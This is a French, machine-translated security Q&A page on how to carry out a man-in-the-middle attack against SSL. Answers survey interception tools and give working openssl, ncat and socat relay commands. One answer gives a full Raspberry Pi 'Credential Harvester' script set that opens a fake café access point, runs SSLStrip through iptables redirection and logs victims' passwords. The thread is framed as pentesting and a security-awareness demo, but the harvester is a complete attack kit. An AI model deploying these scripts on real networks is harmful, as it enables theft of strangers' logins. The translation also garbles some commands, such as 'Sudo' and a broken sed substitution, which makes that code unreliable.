web-dev-qa-db-fra.com

Quelle est la manière la plus simple de lancer une attaque de type intermédiaire sur SSL?

Je voudrais effectuer une attaque d'homme au milieu sur les connexions SSL entre les clients et un serveur.

En supposant ce qui suit:

  • J'ai un certificat que le client acceptera, via une mauvaise validation de certificat ou d'autres moyens.
  • Je connais l'adresse IP du serveur que j'essaye d'usurper, et je suis en mesure sur le réseau de faire des choses comme l'usurpation ARP.
  • Le protocole sous-jacent peut être n'importe quoi, du HTTP au contenu personnalisé/propriétaire.

Je pourrais écrire du code pour écouter sur un port, servir le certificat et lancer SSL, puis transmettre des trucs en tant que proxy transparent, puis faire une usurpation ARP pour rediriger le trafic vers moi, mais cela demande beaucoup d'efforts et devient lourd lorsque je travaille sur un test qui a une contrainte de temps serrée.

Quel est un moyen rapide/facile d'effectuer une attaque de l'homme du milieu? Existe-t-il des outils conçus pour faciliter cela de manière simple, sans beaucoup de configuration? Quelque chose qui est activement maintenu est un plus.

48
Polynomial

Mise à jour:

  • Pour HTTP vous pouvez utiliser le proxy de Burp Suite (Java) ou mitmproxy .

  • tcpcatcher est un proxy de capture et de modification d'interface graphique plus général basé sur Java qui pourrait être plus proche de vos besoins, il comprend le décodage et la modification de contenu (manuel et programmatique). Il est biaisé HTTP, mais accepte tout TCP. Il prend en charge SSL, bien que le seul inconvénient semble être qu'il n'existe aucun moyen (documenté) d'utiliser votre propre certificat spécifique, uniquement à la volée. Vous pouvez facilement utiliser l'une des options ci-dessous pour contourner ce problème.

  • ettercap comprend des fonctionnalités pour les "interventions" ARP, ICMP (redirection), DNS et DHCP, et prend en charge SSL MITM direct (bien que ce ne soit pas actuellement via l'interface graphique, vous devez bricoler avec la ligne de commande conf et/ou). Cela semble être le meilleur tout-en-un pour la plupart des usages.
  • sslsplit est un autre outil CLI utile, c'est (principalement) pour l'interception et l'enregistrement, pas pour la modification. Il est plus rapide de démarrer qu'avec ettercap et possède des fonctionnalités telles que l'inspection SNI, la génération dynamique de certificats, la prise en charge de * BSD et Linux FW/NAT et OCSP /- HPKP / SPDY contre-mesures pour HTTPS. Vous devez toujours obtenir le trafic à cependant.

Si vous voulez un agnostique rapide, peu technologique et de protocole, vous pouvez obtenir la plupart de la manière avec juste OpenSSL sur une boîte Unix:

mkfifo request response
openssl s_server -quiet -no_ssl2 -cipher AES128-SHA \
  -accept 443 -cert fake.crt -key fake.key  < response | tee -a request
openssl s_client -quiet -connect www.server.com:443 < request  | tee -a response

-quiet permet également -ign_eof qui supprime la gestion spéciale des caractères au début de la ligne (pour la saisie en ligne), comme "Q" pour quitter. s_client prend également en charge les capacités de base de STARTTLS: SMTP, POP3, IMAP, FTP (auth), XMPP et TELNET (à partir d'OpenSSL-1.1).

Démarrez chaque openssl dans un terminal différent. Remplacez le tee par quelque chose de scripté pour modifier les demandes et les réponses si nécessaire. Ce n'est pas le plus robuste, mais il pourrait être utile. Il prend en charge DTLS, si vous en avez besoin, la prise en charge IPv6 nécessite OpenSSL-1.1. ( GnuTLS prend en charge IPv6, et comme la v3.0 prend également en charge DTLS, vous pouvez presque certainement faire quelque chose de similaire avec gnutls-serv et gnutls-cli, Je n'ai pas encore essayé.)

ncat avec son -exec l'option devrait également fonctionner:

ncat --ssl --ssl-cert fake.crt --ssl-key fake.key \
  --sh-exec "openssl s_client -quiet -connect www.server.com:443" \ 
  -kl 127.0.0.1 4443

Vous pouvez simplement utiliser "--exec "et enveloppez plutôt votre propre client dans un script. Avec s_client cela aide beaucoup les performances pour pré-créer un fichier de session, puis ajouter -sess_in ssl.sess -sess_out ssl.sess à vos invocations.

Encore une fois, si vous avez besoin de scripter/coder le MITM vous-même socat est une autre bonne option (et probablement la plus robuste):

CERT="cert=test.crt,key=test.key,verify=0"
SSL="cipher=AES128-SHA,method=TLSv1"
socat \ 
  OPENSSL-LISTEN:4443,bind=127.0.0.1,reuseaddr,$CERT,$SSL,fork  \
  EXEC:mitm.sh

Avec une doublure comme openssl s_client -quiet -connect www.server.com:443 dans mitm.sh pour commencer, fonctionne exactement comme un client inetd.

stunnel est plus proxy que socat, il a un gros avantage que je ne vois nulle part ailleurs: il supporte mises à niveau TLS dans le protocole/ STARTTLS , pour POP3, IMAP, SMTP et quelques autres en modes client et serveur; bien que LDAP et FTP soient des omissions notables (ce dernier étant compréhensible). Son mode inetd peut être (ab) utilisé comme avec les options "exec" ci-dessus.

Pour modification des protocoles Internet communs génériques basés sur du texte utilisant ces méthodes, vous pourrez peut-être vous en sortir avec sed (comme une connexion plus conviviale netsed ) ou light expect scripting.

Le proxy multiprotocole Délégué prend également en charge la gestion externe (de type inetd) et script intégré la prise en charge de la correspondance, du filtrage et de la réécriture pour a sous-ensemble des protocoles pris en charge.

Les seules autres choses auxquelles je peux penser à proximité des proxys MITM agnostiques de protocole générique sont des outils de fuzzing, comme proxyfuzz , ou des modules modulaires multi-protocoles comme backfuzz (soyez prudent en recherchant ce dernier ;-).

D'autres outils pouvant être utiles (pour détourner le trafic) comprennent:

Je suis également tombé sur des références à Zorp plusieurs fois en fouillant dans mes notes, non libre disponible à la fois dans une publicité (je n'ai aucune affiliation) et dans une version GPL . Mérite une mention, en raison de ses prétentions d'être un pare-feu/passerelle multi-protocole modulaire, extensible (via Python). L'inspection TLS est prise en charge dans la version GPL (SSH et d'autres semblent limités à la version non GPL).

42
mr.spuratic

Voici un article de mon blog impliquant l'utilisation de SSLStrip dans une attaque MITM avec un Raspberry Pi - a dû le retirer car Google Blogger ne l'aimait pas, donc ce contenu est collé depuis Evernote :)

Dans le cadre d'une démonstration de sensibilisation à la sécurité, j'ai configuré mon AP sans fil 3g Pi pour supprimer SSL des sites Web sécurisés et récolter les informations de connexion. Vous le savez peut-être dans le contexte des attaques MITM, mais comme le Pi est la passerelle, il n'est pas nécessaire d'empoisonner ARP le réseau et le tout fonctionne un peu plus rapidement. Je voulais montrer à quel point il serait facile pour quelqu'un de configurer un point d'accès sans fil fournissant une connexion Internet gratuite, avec l'équipement caché - peut-être dans un sac à dos - et de s'asseoir dans un lieu public en saisissant les informations de connexion sans que personne ne soupçonne rien *. À l'avenir, je voudrais le faire tout en exécutant le Pi à partir d'un groupe de batteries.

  • La principale révélation de l'attaque est que la barre de navigation du navigateur n'affiche plus "https:" au début de l'URL.

Une description des scripts suit:

Menu

Ce script est un menu simple pour utiliser les scripts de collecte d'informations d'identification. Il est copié sur le blog de Jeroen Doggen et modifié en conséquence. Les parties en surbrillance doivent être remplacées par le répertoire contenant les scripts.

menu.sh

#!/bin/bash
#
# Script to perform some common system operations
#
while :
do
clear
echo "************************"
echo "* Credential Harvester *"
echo "************************"
echo "* [1] Change SSID *"
echo "* [2] Open AP *"
echo "* [3] Start SSLStrip *"
echo "* [4] Stop SSLStrip *"
echo "* [5] Secure AP *"
echo "* [6] View Credentials
echo "* [Q] Quit *"
echo "************************"
echo -n "Enter your menu choice: "

read yourch
case $yourch in
1) /home/pi/cred_harv/changeSsid.sh ;;
2) /home/pi/cred_harv/makeOpen.sh ;;
3) /home/pi/cred_harv/sslStrip.sh ;;
4) /home/pi/cred_harv/tidySslStrip.sh ;;
5) /home/pi/cred_harv/makeSecure.sh ;;
6) /home/pi/cred_harv/viewCreds.sh ;;
Q) exit 0;;
*) echo "Oopps!!! Please select choice 1,2,3 or 4";
echo "Press Enter to continue. . ." ; read ;;

esac

done

Changer le SSID

Pour que le récupérateur d'informations d'identification Pi semble crédible, nous devons pouvoir changer le SSID - le nom que tout le monde voit lorsqu'il recherche les réseaux disponibles - pour correspondre à notre environnement actuel. Assis dans McDonalds? Changez le SSID en "McDonalds Free Customer Wifi" ou quelque chose de ce genre.

Étant donné que le récupérateur d'informations d'identification Pi est sans tête, la façon la plus simple de le faire serait SSH sur Wifi et d'exécuter un script simple.

Le script utilisera la commande Sed. De la page de manuel Sed: Sed est un éditeur de flux). A l'éditeur de flux est utilisé pour effectuer des transformations de texte de base sur un flux d'entrée (un fichier ou une entrée à partir d'un pipeline).

Nous devrions donc pouvoir remplacer l'entrée du nom SSID dans le fichier hostapd.conf en utilisant Sed. La page de manuel spécifie que l'indicateur '-i' est utilisé pour les modifications en ligne - en tant que telles, les modifications en direct qui ne créent pas une autre copie du fichier. Pour remplacer le SSID, la syntaxe de commande complète serait:

sed -i 's/STRING_TO_FIND/STRING_TO_REPLACE_WITH/g' FILE

Le 's' et le 'g' au début et à la fin de la chaîne de recherche et de remplacement définissent le type de recherche et de remplacement à effectuer. Notre STRING_TO_FIND serait 'SSID = Pifi', et le STRING_TO_REPLACE serait 'SSID = McDonalds Free Customer Wifi 'dans cet exemple. FILE est le fichier /etc/hostapd.conf, nous donnant la commande:

sed -i 's/SSID=Pifi/McDonalds Free Customer Wifi/g' /etc/hostapd/hostapd.conf

Le service hostapd doit être redémarré pour que la modification soit appliquée:

Sudo service hostapd restart

Le script final que j'ai trouvé obtient le nom du SSID actuel, l'affiche, puis invite l'utilisateur à saisir le SSID souhaité. Ceci est transmis à "sed" qui effectue une modification en ligne de hostapd.conf et redémarre le service pour appliquer la modification.

changeSsid.sh

#!/bin/bash
currentSSID=`cat /etc/hostapd/hostapd.conf | grep -P -o '(?<=ssid=)[ A-Za-z0-9]*'`
#the -o flag means print only matched
#grep rule: http://stackoverflow.com/questions/1247812/im-stuck-in-trying-to-grep-anything-just-after-name

echo Current SSID is $currentSSID
echo Desired SSID:
read x
echo 'Changing SSID'
Sudo sed -i "s/ssid=$currentSSID/ssid=$x/g" /etc/hostapd/hostapd.conf
echo 'Change OK'
echo 'Restarting hostapd service'
Sudo service hostapd restart

Rendre le réseau ouvert

makeOpen.sh

Ce script utilise 'sed' pour commenter la ligne dans hostapd.conf qui active la sécurité wpa - cela rend l'AP ouvert pour que tout le monde puisse le jouer. Le service hostapd est redémarré pour activer la modification.

#!/bin/bash
echo 'Disabling AP secutrity (AP is now open)'
Sudo sed -i 's/wpa=2/#wpa=2/g' /etc/hostapd/hostapd.conf
Sudo service hostapd restart

Exécutez SSLStrip

sslStrip.sh

Ce script exécute SSLStrip, qui "simule" la protection SSL des sites Web sécurisés, permettant aux informations de connexion d'être lues en texte brut. Vous pouvez trouver plus d'informations sur le site Web SSLStrip.

#!/bin/bash
echo "Editing Iptables and starting sslstrip"
Sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Sudo sslstrip -p -k -w /home/pi/cred_harv/ssl.log 2> /dev/null &

Fermer SSLStrip

Ce script supprime la règle de routage d'iptables, permettant à nouveau une navigation normale. Il tue également le processus sslstrip.

tidySslStrip.sh

#!/bin/bash
echo "Closing SSLStrip and cleaning up iptables"
Sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

Sudo killall sslstrip

Rendre le réseau sécurisé

Ce script utilise 'sed' pour réactiver la ligne wpa dans hostapd.conf, ce qui rend l'AP sécurisé à nouveau.

makeSecure.sh

#!/bin/bash
echo 'Enabling AP security (AP is now secure)'
Sudo sed -i 's/#wpa=2/wpa=2/g' /etc/hostapd/hostapd.conf
Sudo service hostapd restart

Si vous copiez et collez ces derniers dans des scripts manuellement, n'oubliez pas de les rendre exécutables, en utilisant:

Sudo chmod +x SCRIPT_NAME

Affichage des informations d'identification

Ce script ouvre simplement le fichier journal SSLStrip afin que vous puissiez y rechercher des noms d'utilisateur et des mots de passe - il y a beaucoup de déchets dans le fichier, mais ils y sont!

#!/bin/bash
Sudo nano /home/pi/cred_harv/ssl.log
11
BigCowPi

SSLStrip serait probablement utile pour configurer un test ou une démonstration d'un MITM. C'est un python que vous pouvez utiliser avec le spoofing arp pour configurer MiTM. Il peut subvertir les redirections de http vers https. Il peut également être configuré pour être utilisé avec un certificat afin que la victime vous connecte via ssl et vous vous connectez à leur destination initiale. Il y a une vidéo sur la page Moxie Marlinspike qui montre quelques-unes de ses utilisations.

3
dudebrobro

Perl IO :: Socket :: SSL :: Intercept est un autre ajout notable aux suggestions utiles ci-dessus.

0
Liudvikas Bukys

PolarProxy peut créer des fichiers PCAP avec du trafic TLS décrypté, tels que HTTP et HTTP/2. Vous pouvez même le configurer pour décrypter FTPS/IMAPS/SMTPS etc.

Avertissement: PolarProxy est un outil gratuit qui est développé et maintenu par nous chez Netresec.

0
netresec